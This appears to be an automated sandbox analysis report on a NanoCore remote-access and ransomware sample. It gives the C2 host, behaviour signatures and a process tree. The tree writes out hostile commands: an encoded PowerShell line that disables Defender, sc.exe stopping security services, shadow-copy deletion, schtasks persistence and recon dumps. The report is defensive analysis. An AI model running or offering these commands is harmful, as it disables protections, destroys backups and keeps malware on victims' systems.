Overview

overview

10

Static

static

10

2026-07-30...ry.exe

windows10-2004-x64

10

2026-07-30...ry.exe

windows11-ltsc_2024-x64

10

Resubmissions

30/07/2026, 12:41

260730-pw52eaap4s10

30/07/2026, 12:30

260730-pplzysam2s10

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 12:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 48KB
  • Sample260730-pw52eaap4s
  • SHA256 b11f581d5abadbd9976e715aef8ea0d5d89ea33722051e1caf55041b1fb0dd5a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionnanocoreimpactkeyloggerpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • nanocore

Version

  • 1.2.2.0

C2

  • http://qiwio.io

Mutex

  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://qiwio.io

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4204
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" http://qiwio.io
      2⤵
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:5616
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff8bd66c728,0x7ff8bd66c734,0x7ff8bd66c740
        3⤵
          PID:4836
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,5918959083402168959,5672404787306521084,262144 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
          3⤵
            PID:1360
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,17130702382000591602,5136333905530948472,524288 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:11
            3⤵
            • System Time Discovery
            PID:5744
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2208,i,3458058622374318632,1549659546989481768,524288 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=2652 /prefetch:13
            3⤵
              PID:2788
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3136,i,15838226986549778229,7811592075418193632,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:1
              3⤵
                PID:760
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3144,i,467339466009546936,16665702110867537765,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=3240 /prefetch:1
                3⤵
                  PID:2972
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4552,i,1194985353043022514,9105946703761984471,524288 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=4564 /prefetch:14
                  3⤵
                    PID:5056
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4852,i,212203155998508406,12443957719097208594,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=4872 /prefetch:1
                    3⤵
                      PID:1984
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3396,i,18192476183587287791,16979317991907193074,524288 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:14
                      3⤵
                        PID:3604
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5496,i,7702101950018975630,8090595283846891379,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:1
                        3⤵
                          PID:5548
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5536,i,9647825159317286831,5599034668238374909,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:1
                          3⤵
                            PID:4400
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5832,i,17544692704478749532,11035311323345327620,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:1
                            3⤵
                              PID:5496
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5676,i,16162038433039065700,5536093717609222452,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:1
                              3⤵
                                PID:832
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5600,i,11149468104054915117,18315389965596902437,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:1
                                3⤵
                                  PID:3940
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5568,i,17563691945339463432,6050375185035400248,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:1
                                  3⤵
                                    PID:1524
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5976,i,804746781073965720,6929716098397551459,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
                                    3⤵
                                      PID:3376
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5620,i,5759856634907693977,4684553811893206247,524288 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:14
                                      3⤵
                                        PID:2060
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5964,i,17413666269689850051,15378583497714262236,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5568 /prefetch:1
                                        3⤵
                                          PID:4856
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5512,i,15595879269414229812,12933412620512312265,524288 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:14
                                          3⤵
                                            PID:3596
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5540,i,10177347171390074353,662854166932440597,524288 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:14
                                            3⤵
                                              PID:708
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4416,i,2411689941270267124,977455050292998616,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5540 /prefetch:1
                                              3⤵
                                                PID:2852
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5668,i,5360213904369601785,890548088675797526,2097152 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:9
                                                3⤵
                                                  PID:4340
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5428,i,412008098813414178,7749603847076510634,524288 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:14
                                                  3⤵
                                                    PID:252
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6108,i,5526599829714089647,16238641751597911050,524288 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:14
                                                    3⤵
                                                      PID:3768
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4936,i,13148227222903099637,3085073155710935490,524288 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=5920 /prefetch:14
                                                      3⤵
                                                        PID:256
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4596,i,6697204030556983247,4824047039088617417,262144 --field-trial-handle=1904,i,208508112240683518,13886131477995601688,262144 --variations-seed-version --mojo-platform-channel-handle=1616 /prefetch:10
                                                        3⤵
                                                          PID:4144
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
                                                        2⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4160
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop wscsvc
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:1504
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config wscsvc start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:2448
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop SecurityHealthService
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:2316
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:4052
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop WinDefend
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:4340
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config WinDefend start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:2872
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop MsMpSvc
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:5788
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:708
                                                      • C:\Windows\System32\fodhelper.exe
                                                        "C:\Windows\System32\fodhelper.exe"
                                                        2⤵
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:4732
                                                        • C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe"
                                                          3⤵
                                                            PID:5192
                                                        • C:\Windows\System32\sc.exe
                                                          "C:\Windows\System32\sc.exe" stop wscsvc
                                                          2⤵
                                                          • Launches sc.exe
                                                          PID:2712
                                                        • C:\Windows\System32\sc.exe
                                                          "C:\Windows\System32\sc.exe" stop wuauserv
                                                          2⤵
                                                          • Launches sc.exe
                                                          PID:5736
                                                        • C:\Windows\System32\vssadmin.exe
                                                          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                          2⤵
                                                          • Interacts with shadow copies
                                                          PID:4168
                                                        • C:\Windows\System32\wbem\WMIC.exe
                                                          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                          2⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1852
                                                        • C:\Windows\System32\wscript.exe
                                                          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                          2⤵
                                                          • Executes a VBScript file via the Windows Script Host.
                                                          PID:2824
                                                        • C:\Windows\System32\schtasks.exe
                                                          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
                                                          2⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:3680
                                                        • C:\Windows\System32\schtasks.exe
                                                          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
                                                          2⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:4164
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:2944
                                                          • C:\Windows\system32\vssadmin.exe
                                                            vssadmin delete shadows /all /quiet
                                                            3⤵
                                                            • Interacts with shadow copies
                                                            PID:3432
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic shadowcopy delete
                                                            3⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:4620
                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:4260
                                                          • C:\Windows\system32\systeminfo.exe
                                                            systeminfo
                                                            3⤵
                                                            • Gathers system information
                                                            PID:4612
                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:1592
                                                          • C:\Windows\system32\tasklist.exe
                                                            tasklist
                                                            3⤵
                                                            • Enumerates processes with tasklist
                                                            PID:2380
                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:1284
                                                          • C:\Windows\system32\whoami.exe
                                                            whoami
                                                            3⤵
                                                              PID:3596
                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:2544
                                                            • C:\Windows\system32\net.exe
                                                              net user
                                                              3⤵
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:3680
                                                              • C:\Windows\system32\net1.exe
                                                                C:\Windows\system32\net1 user
                                                                4⤵
                                                                  PID:2984
                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                                                              2⤵
                                                              • Executes a command shell one-liner
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:5752
                                                              • C:\Windows\system32\ipconfig.exe
                                                                ipconfig /all
                                                                3⤵
                                                                • Gathers network information
                                                                PID:5100
                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                                                              2⤵
                                                              • Executes a command shell one-liner
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:5072
                                                              • C:\Windows\system32\NETSTAT.EXE
                                                                netstat -an
                                                                3⤵
                                                                • Gathers network information
                                                                PID:200
                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-30_4622ae3c9a39fcbcd17c5488d698a32b_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
                                                              2⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:704
                                                            • C:\Windows\System32\wscript.exe
                                                              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                              2⤵
                                                              • Executes a VBScript file via the Windows Script Host.
                                                              PID:4972
                                                            • C:\Windows\System32\notepad.exe
                                                              "C:\Windows\System32\notepad.exe"
                                                              2⤵
